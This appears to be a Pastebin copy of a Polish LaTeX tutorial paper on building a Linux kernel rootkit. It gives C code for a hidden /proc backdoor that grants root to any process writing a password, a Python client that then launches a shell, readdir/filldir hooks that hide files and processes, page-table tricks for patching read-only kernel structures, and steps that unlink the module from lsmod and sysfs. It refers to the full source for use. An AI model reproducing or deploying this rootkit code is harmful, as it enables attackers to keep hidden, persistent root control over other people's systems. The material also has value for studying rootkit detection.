Advertisement
FlyFar

polis_paper.tex

Jun 7th, 2023
1,633
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
BibTeX 16.65 KB | Cybersecurity | 0 0
  1. \documentclass[a4paper]{article}
  2. \usepackage[utf8x]{inputenc}
  3. \usepackage[T1]{fontenc}
  4. \usepackage[polish]{babel}
  5. \usepackage{minted}
  6. \begin{document}
  7. \title{Prosta, wysokopoziomowa implementacja rootkita dla Linuksa.}
  8. \author{Arkadiusz ,,Ivyl'' Hiler \and Michał ,,t3hknr'' Winiarski}
  9. \date{Styczeń 2012}
  10. \maketitle
  11. \newpage
  12. \begin{abstract}
  13. Opis metod i technik użytych przy implementacji modułu jądra umożliwającego intruzowi utrzymanie kontroli nad systemem
  14. oraz ukrycie swoich działań.
  15.  
  16. Moduł umożliwia uzyskanie praw roota oraz ukrycie plików, procesów oraz samego siebie.
  17. Wydawanie rozkazów jak i sprawdzanie stanu rootkita odbywa sie za pomocą ukrytego wpisu w \texttt{/proc}.
  18.  
  19. Pełen kod rootkita został zamieszony na końcu ninejszego dokumenu oraz na
  20. \texttt{https://github.com/ivyl/rootkit}
  21. \end{abstract}
  22.  
  23. \newpage
  24. \tableofcontents
  25. \newpage
  26.  
  27. \section{Wstęp}
  28. \subsection{Metody zdobywania wiedzy}
  29. Podstawowy opis struktur \texttt{file} i \texttt{file\_operations}, techniki
  30. debugowania, czy budowy i uruchamiania modułów można znaleźć w ,,Linux Device
  31. Drivers''\cite{ldd3}. Następny w kolejności źródłem infromacji jest sam kod
  32. źródłowy kernela. Poszukiwanie funkcji najlepiej zacząć od przeszukania plików
  33. nagłówkowych zawierających ich deklaracje (katalog \texttt{include/}). Łatwo
  34. można skonstruować wyrażenia regularne szukające prototypu zwracającego
  35. interesujący nas typ i zawierającego interesujące nas słowo. Szukania
  36. przykładowego użycia można dokonać w pozostałych katalogach, zawierających
  37. sterowniki i samą implementację. Do przeglądania zagadnień najlepiej nadaje
  38. się dokumentacja jądra (\texttt{Documentation/}). W dokumencie ograniczymy się
  39. do pobieżnej analizy potrzebnych nam funkcji i struktur, pomijając nieistotne
  40. pola. Zachęcamy do pełnej samodzielnej analizy plików nagłówkowych.
  41.  
  42.  
  43. \subsection{Środowisko}
  44. Moduł zbudowany w oparciu o przedstawione techniki z powodzeniem był
  45. kompilowany oraz działa na jądrze 3.1.0 oraz 3.1.5. Użyto gcc w wersji 4.6.x.
  46. Nie powinno być jednak problemu z innymi wersjami gcc jak i jądrami w wersji
  47. większej lub równej od 2.6.26 (wcześniej nie była eksportowana funkcja
  48. \texttt{lookup\_address}). Testy przeprowadzono zarówno na jądrze
  49. skompilowanym pod architekturzę x86 jak i x86\_64.
  50.  
  51.  
  52. \section{Makefile}
  53. Użyliśmy standardowgo pliku \texttt{Makefile} opisanego w LDD\cite{ldd3}:
  54. \begin{minted}[frame=lines,framesep=2mm]{makefile}
  55. ifneq ($(KERNELRELEASE),)
  56.     obj-m := rt.o
  57. else
  58.     KERNELDIR ?= /lib/modules/$(shell uname -r)/build
  59.     PWD := $(shell pwd)
  60.  
  61. default:
  62.     $(MAKE) -C $(KERNELDIR) M=$(PWD) modules
  63.  
  64. endif
  65. \end{minted}
  66. Wykonanie polecenia make powoduje samodzielnie ustawienie środowiska do
  67. budowania na podstawie symlinku build w katalogu zawierającym moduły aktualnie
  68. używanego jądra.
  69.  
  70.  
  71. \section{Właściwa implementacja}
  72. \subsection{Struktura modułu}
  73. Stworzenie nowego modułu wymaga oznaczenia dwóch funkcji za pomocą makr
  74. \texttt{module\_init} i \texttt{module\_exit} (plik nagłówkowy \texttt{linux/init.h}).
  75. Prototypy jak w przykładzie:
  76. \begin{minted}[frame=lines,framesep=2mm]{c}
  77. #include <linux/init.h>
  78. #include <linux/module.h>
  79.  
  80. MODULE_LICENSE("Dual BSD/GPL");
  81. MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>");
  82. MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>");
  83.  
  84. static int __init rootkit_init(void) {
  85.    
  86.     return 0;
  87. }
  88.  
  89. static void __exit rootkit_exit(void) {
  90.  
  91. }
  92.  
  93. module_init(rootkit_init);
  94. module_exit(rootkit_exit);
  95. \end{minted}
  96.  
  97. \texttt{\_\_init} oraz \texttt{\_\_exit} to makra oznaczające funkcje
  98. używane jedynie przy ładowaniu/zwalnianiu modułu, dzięki czemu może zwolnić
  99. zajmowane przez nie zasoby.
  100.  
  101. Znaczenie makr \texttt{MODULE\_AUTHOR} oraz \texttt{MODULE\_LICENSE}
  102. (\texttt{linux/module.h}) jest oczywiste.
  103.  
  104. Na szczególną uwagę zasługuje użycie modyfikatora \texttt{static}. Gwarantuje
  105. on nam, że funkcja nie jest widoczna na zewnątrz naszego kodu (żadne symbole
  106. nie są eksportowane). Postaramy się używać go przy każdej definicji w celu
  107. lepszego ukrycia modułu jądra.
  108.  
  109. \subsection{Wpis w /proc}
  110. Interesujące nas funkcje znajdują się w pliku nagłówkowym
  111. \texttt{linux/proc\_fs.h}.
  112. \begin{minted}{c}
  113. struct proc_dir_entry *create_proc_entry(const char *name,
  114.         mode_t mode, struct proc_dir_entry *parent);
  115. \end{minted}
  116. Pierwszy parametr to zwyczajnie nazwa, drugi to tryb dostępu, najłatwiej podać
  117. ósemkowo. Ostatnim parametrem jest rodzic w procfs, gdy podamy \texttt{NULL},
  118. wpis tworzony jest w procfs root.
  119.  
  120. Należy pamiętać o sprawdzaniu czy zwracana jest poprawna struktura (nie
  121. \texttt{NULL}). Przy wyładowywaniu modułu należy pamiętać o usunięciu wpisu:
  122. \begin{minted}{c}
  123. remove_proc_entry(const char *name, struct proc_dir_entry *parent);
  124. \end{minted}
  125.  
  126. Struktura \texttt{proc\_dir\_entry} zwracana przez powyższą funkcję zawiera
  127. m.in. wskaźniki na funkcje używane przy odczycie/zapisie do pliku.
  128. Interesujące nas pola to \texttt{read\_proc} oraz
  129. \texttt{write\_proc}\cite{lkmpg}. Prototypy funkcji na które wskazują:
  130.  
  131. \begin{minted}{c}
  132. int read(char *buffer, char **buffer_location, off_t off,
  133.         int count, int *eof, void *data);
  134.  
  135. int write(struct file *file, const char __user *buff,
  136.         unsigned long count, void *data);
  137. \end{minted}
  138.  
  139. \subsubsection{Read}
  140. Pierwsza funkcja zwrotna jest wywoływana gdy odczytujemy z pliku. Pierwszym
  141. paramterem jest bufor, do którego mamy zapisywać, drugi to jego położenie w
  142. pamięci, można użyć np. do zaalokowania własnego bufora, trzeci to offset, od
  143. którego chcemy zacząć czytać, czwarty to rozmiar buffora, który dostaliśmy,
  144. piąty wskazuje eof (po wpisaniu 1 pod adres), szóty to wkaźnik na dodatkowe
  145. dane. Funkcja zwraca liczbę wypisanych znaków.
  146.  
  147.  
  148. Przykładowa bezpieczna implementacja przy założeniu, że mamy zaalokowany
  149. odpowiednio duży \texttt{char[] module\_status}:
  150. \begin{minted}[frame=lines,framesep=2mm]{c}
  151. int rtkit_read(char *buffer, char **buffer_location,
  152.         off_t off, int count, int *eof, void *data) {
  153.     int size;
  154.    
  155.     //build module_status
  156.    
  157.     size = strlen(module_status);
  158.  
  159.     if (off >= size) return 0;
  160.  
  161.     if (count >= size-off) {
  162.         memcpy(buffer, module_status+off, size-off);
  163.     } else {
  164.         memcpy(buffer, module_status+off, count);
  165.     }
  166.  
  167.     return size-off;
  168. }
  169. \end{minted}
  170. Podana wyżej implementacja gwarantuje nam nieprzekroczenie obszaru bufora,
  171. zakończneie odczytu (zwrócenie zero przy próbie odczytu poza obszarem, nie używamy eof)
  172. oraz poprawną obsługę programów do czytania stronami (less, more) dzięki obsłudze offsetu.
  173.  
  174. \subsubsection{Write}
  175. Parametrami, które nas interesują jest \texttt{buff}, czyli bufor wejściowy
  176. oraz \texttt{count} czyli rozmiar danych przekazanych w buforze. Pozostałe
  177. parametry to struktura file opisująca plik do którego piszemy oraz wskaźnik na
  178. dodatkowe dane. Funkcja zwraca liczbę przetworzonych znaków.
  179.  
  180. Wystarczy porównywać zawartość bufora z komendą i wyciągnąć ewentualne
  181. dodatkowe informacje. Należy pamiętać o rozmiarze bufora i liczbie znaków.
  182. \begin{minted}[frame=lines,framesep=2mm]{c}
  183. int rtkit_write(struct file *file, const char __user *buff,
  184.     unsigned long count, void *data) {
  185.     if (!strncmp(buff, "secreet pass", MIN(11, count))) { }
  186.    
  187.     return count;
  188. }
  189. \end{minted}
  190.  
  191. Powyżej użyte zostało makro:
  192. \begin{minted}[frame=lines,framesep=2mm]{c}
  193. #define MIN(a,b) \
  194.    ({ typeof (a) _a = (a); \
  195.       typeof (b) _b = (b); \
  196.     _a < _b ? _a : _b; })
  197. \end{minted}    
  198.  
  199. \subsubsection{Podniesienie uprawnień}
  200. W pliku nagłówkowym \texttt{linux/cred.h} znajduje się funkcje które pozwalają
  201. na pobranie uprawnień aktualnie wykonywanego procesu oraz ich ponowne
  202. zapisanie. \texttt{prepare\_creds()} zwraca nam strukturę cred z informacjami
  203. o bieżacym procesie i jego uprawnienaich, zaś \texttt{commit\_creds(struct
  204. cred*)} ustawia procesowi nowe wartości na podstawie podanej struktury.
  205. Interesują nas pola uid, gid, euid oraz egid (user id, group id oraz ich
  206. efektywne wersje). W pobranej strukturze należy zmienić wartość tych pól na 0
  207. (root) po czym zatwierdzić nowe ustawienia.
  208. \begin{minted}[frame=lines,framesep=2mm]{c}
  209. struct cred *credentials = prepare_creds();
  210. credentials->uid = credentials->euid = 0;
  211. credentials->gid = credentials->egid = 0;
  212. commit_creds(credentials);
  213. \end{minted}
  214. Wewnątrz funkcji write aktualnie wykonywnem procesem będzie proces, który
  215. pisał do pliku w \texttt{/proc}, więc można tam dokonać zmiany.
  216.  
  217. \subsubsection{Uwagi}
  218. Łatwo złożyć powyższe informacje w całość, która po wydaniu odpowiedniego
  219. rozkazu do wpisu w \texttt{/proc} daje nam uprawnienia roota. Obie funkcje
  220. (read i wrtie) są w zasadzie gotowe do przypisania do odpowienich pól
  221. struktury.
  222.  
  223. Do budowy odpowiedzi jak i sprawdzania wejścia możemy użyć funkcji z
  224. \texttt{linux/string.h}. Znajdziemy tam klasyczne funkcje
  225. porównania(\texttt{strcmp}, \texttt{strncmp}) budowy łańcuchów
  226. (\texttt{sprintf}) czy kopiowania.
  227.  
  228. \subsection{Wydawanie rozkazów poprzez wpis}
  229. \begin{minted}[frame=lines,framesep=2mm]{python}
  230. #!/usr/bin/env python
  231. import sys
  232. import os
  233.  
  234. def order(command):
  235.     f = open("/proc/rtkit", "w")
  236.     f.write(command)
  237.     f.close()
  238.  
  239. if len(sys.argv) > 1:
  240.     order(sys.argv[1])
  241.  
  242. if len(sys.argv) > 2:
  243.     os.execl(sys.argv[2], "")
  244. \end{minted}
  245. Powyższy program zapisuje pierwszy przekazany argument do wpisu w
  246. \texttt{/proc}. Jeżeli podany jest drugi argument, to uruchamiany jest
  247. wskazywany przezeń program (np. po dostaniu roota odpalamy powłokę bash).
  248.  
  249.  
  250. \subsection{Ukrycie wpisów w \texttt{/proc}}
  251. \subsubsection{Użyteczność}
  252. Ukrywanie plików w \texttt{/proc} może posłużyć do ukrycia wpisu stworzonego
  253. przez nas jak i ukrycia procesów w systemie. Programy pokroju \texttt{ps} i
  254. \texttt{top} listują katalogi w \texttt{/proc} reprezentujące procesy. Ukrycie
  255. tych katalogów skutkuje ukryciem procesów.
  256.  
  257. \subsubsection{Wyciągnięcie \texttt{file\_operations}}
  258. Zmian tych można dokonać poprzez zastąpienie używanej funkcji
  259. \texttt{readdir}, która zamienia funkcję \texttt{filldir} przekazywaną do
  260. oryginału. Wskaźnik do funkcji \texttt{readdir} znajduje się w strukturze
  261. \texttt{file\_operations}. Interesuje nas struktura dla \texttt{/proc}.
  262. Wskaźnik na \texttt{file\_operations} można znaleść w strukturze
  263. \texttt{proc\_dir\_entry}. Nasz nowo utworzony plik w \texttt{/proc} zawiera
  264. wskaźnik na rodzica - w tym wypadku sam \texttt{/proc}. Pole
  265. \texttt{proc\_fops} zawiera interesującą nas strukturę.
  266.  
  267. \mint{c}|proc_rtkit->parent->proc_fops|
  268.  
  269. \subsubsection{Własne \texttt{readdir} i \texttt{filldir}}
  270. Własna wersja \texttt{readdir} ma za zadanie jedynie opakować oryginalne
  271. \texttt{filldir} w naszą własną wersję. Uzywamy do tego globalnej statycznej
  272. zmiennej. \texttt{filldir} natomiast ma zwracać 0 jeśli chemy ukryć wpis lub
  273. też wywoływać oryginał. Pozwolimy pominąć sobie opis prototypów funkcji i
  274. przejść do implementacji:
  275. \begin{minted}[frame=lines,framesep=2mm]{c}
  276. int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) {
  277.     proc_filldir_orig = filldir; //some static variable
  278.     return proc_readdir_orig(filp, dirent, proc_filldir_new);
  279. }
  280.  
  281. int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset,
  282. u64 ino, unsigned d_type) {
  283.     if (!strcmp(name, "rtkit")) return 0;
  284.     return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
  285. }
  286. \end{minted}
  287. Użycie globalnej zmiennej nie powoduje kłopotów w razie przypadkowego
  288. wywłaszczenia. \texttt{filldir} jest zawsze takie samo, nie ma niestety innego
  289. sposobu na jego wyciągniecie niż zrobieni tego w ciele \texttt{readdir}.
  290.  
  291. \subsubsection{Zmiana trybu dostepu do strony w pamięci}
  292. Niestety bezpośrednia podmiana wskaźnika w strukturze nie jest możliwa z dwóch
  293. powodów. Po pierwsze, wskaźnik jest typu \texttt{const} i potrzebne jest
  294. odpowiednie rzutowanie, po drugie ze wzgledu na oznaczenie strony pamięci, na
  295. której znajduje się struktura \texttt{file\_operations} jako tylko do odczytu.
  296. Kończy się to błędem typu Kernel Oops z komunikatem ,,unable to handle kernel
  297. paging'' istnieje kilka metod zmiany trybu strony, jednak większość ma pewne
  298. dodatkowe ograniczenia (np. nie zmienianie trybu strony znajdującej się w
  299. obszarze .rodata). W kernelu w wersji 2.6.26 lub wyższej eksportowana jest
  300. metoda o prototypie\cite{stovf1}:
  301. \mint{c}|pte_t *lookup_address(unsigned long addr, unsigned int *level);|
  302.  
  303. Wyciąga ona struturę \texttt{pte\_t} zawierającą pole \texttt{pte} pozwalające
  304. na zmianę trybu dostępu (maska bitowa). Interesuje nas ustawienie
  305. \texttt{\_PAGE\_RW} po czym posprzątanie po sobie.
  306.  
  307. Wymaga to od nas rzutowania wskaźnika na struturę na typ \texttt{unsigned
  308. long}. Ze względu na potrzebę użycia tego w kilku miejscach stwórzmy sobie
  309. metody pomocnicze:
  310. \begin{minted}[frame=lines,framesep=2mm]{c}
  311. void set_addr_rw(void *addr) {
  312.     unsigned int level;
  313.     pte_t *pte = lookup_address((unsigned long) addr, &level);
  314.     if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
  315. }
  316.  
  317. void set_addr_ro(void *addr) {
  318.     unsigned int level;
  319.     pte_t *pte = lookup_address((unsigned long) addr, &level);
  320.     pte->pte = pte->pte &~_PAGE_RW;
  321. }
  322. \end{minted}
  323. Przez wkaźnik przekazywany jako drugi parametr zwracany jest poziom strony,
  324. który ignorujemy. Po wykonaniu \texttt{set\_addr\_rw(proc\_fops)} można
  325. dokonać podmiany, po czym należy wrócić do trybu tylko do odczytu:
  326. \begin{minted}[frame=lines,framesep=2mm]{c}
  327. set_addr_rw(proc_fops);
  328. proc_fops->readdir = proc_readdir_new;
  329. set_addr_ro(proc_fops);
  330. \end{minted}
  331. Pamiętajmy też o zapamiętaniu oryginału, by móc przywrócić stan pierwotny przy
  332. wyładowywaniu modułu.
  333.  
  334. \subsection{Ukrycie wpisów w systemie plików}
  335. \subsubsection{Wyciągnięcie \texttt{file\_operations}}
  336. Wszystko odbywa się analogicznie do ukrywania wpisów w \texttt{/proc}. Jedynej
  337. trudności nastręcza wyciągniecie struktury \texttt{file\_operations}. Systemy
  338. plików rejestrowane są w podsystemie VFS. Stamtąd można wyciągnąć jedynie
  339. wkaźnik na funkcję używaną do montowania dla systemu plików o konkretnej
  340. nazwie. Najlepszą i najbezpieczniejszą metodą (gwarantującą podmianą readdir
  341. dla używanego systemu plików) jest użycie funkcji:
  342. \mint{c}|struct file *filp_open (const char *filename, int flags, int mode);|
  343. Jako flags podajemy \texttt{O\_RDONLY}, mode jest istotny tylko przy użyciu
  344. flagi \texttt{O\_CREAT}, więc podajemy cokolwiek. Najlepiej otworzyć folder,
  345. którego istnienia zawsze jesteśmy pewni, np. \texttt{/etc}. Struktura file
  346. zawiera pole f\_op będące wskaźnikiem na \texttt{file\_operations} (pamiętać o
  347. rzutowniu, jest typu \texttt{const}, oraz o zmianie trybu strony). Po czym
  348. plik należy zamknąć
  349. \mint{c}|int filp_close(struct file *filp, fl_owner_t id);|
  350. ID dotyczy wątku zarządzającego, podajemy \texttt{NULL} Funkcje te opisane są
  351. w pliku nagłówkowym \texttt{linux/fs.h}.
  352.  
  353. \subsection{Ukrycie modułu}
  354. Podstawowym zabiegiem jest wcześniej wspomniane używanie modyfikatora
  355. \texttt{static}. Dzięki temu unikniemy pojawienia się wpisów w
  356. \texttt{/proc/kallsyms}. Dodatkowo należy usunać moduł z listy modułów (nie
  357. będzie widoczny przez lsmod) i zadbać o wyrejestrowanie obiektów
  358. \texttt{kobject}, które mają swoją reprezentację w \texttt{/sys}. Posłużymy
  359. się metodami \texttt{list\_del(struct list\_head*)} oraz
  360. \texttt{kobject\_del(struct kobject*)}.
  361.  
  362. \begin{minted}[frame=lines,framesep=2mm]{c}
  363. list_del(&THIS_MODULE->list);
  364. kobject_del(&THIS_MODULE->mkobj.kobj);
  365. list_del(&THIS_MODULE->mkobj.kobj.entry);
  366. \end{minted}
  367. \texttt{THIS\_MODULE} to makro dające dostęp do struktury opisjącej bieżący
  368. moduł.
  369.  
  370. Można zapamiętać poprzedniki (pole \texttt{prev}) w celu powrotnego dodania na
  371. rozkaz (umożliwienie wyładowania modułu).
  372.  
  373. \section{Podsumowanie}
  374. Z odrobiną własnej inwencji można złożyć powyższe w całość, zaimplementować
  375. rozkaz ukrywania PIDów, itd. Poniżej zamieściliśmy listnig kodu w pełni
  376. funkcjonującego rootkita.
  377.  
  378. \section{Pełen kod}
  379. \inputminted[linenos,fontsize=\footnotesize]{c}{../rt.c}
  380.  
  381. \begin{thebibliography}{9}
  382. \bibitem{ldd3}
  383.   Jonathan Corbet, Alessandro Rubini, and Greg Kroah-Hartman
  384.   \emph{Linux Device Drivers}.
  385.   O'Reilly,
  386.   3rd Edition,
  387.   2005.
  388.  
  389. \bibitem{stovf1}
  390.   Corey Henderson
  391.   \emph{Linux Kernel: System call hooking example}, Stackoverflow discussion.
  392.   http://stackoverflow.com/questions/2103315/linux-kernel-system-call-hooking-example
  393.  
  394. \bibitem{lkmpg}
  395.   Peter Jay Salzman, Michael Burian, and Ori Pomerantz
  396.   \emph{The Linux Kernel Module Programming Guide}.
  397.   http://linux.die.net/lkmpg/
  398. \end{thebibliography}
  399. \end{document}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement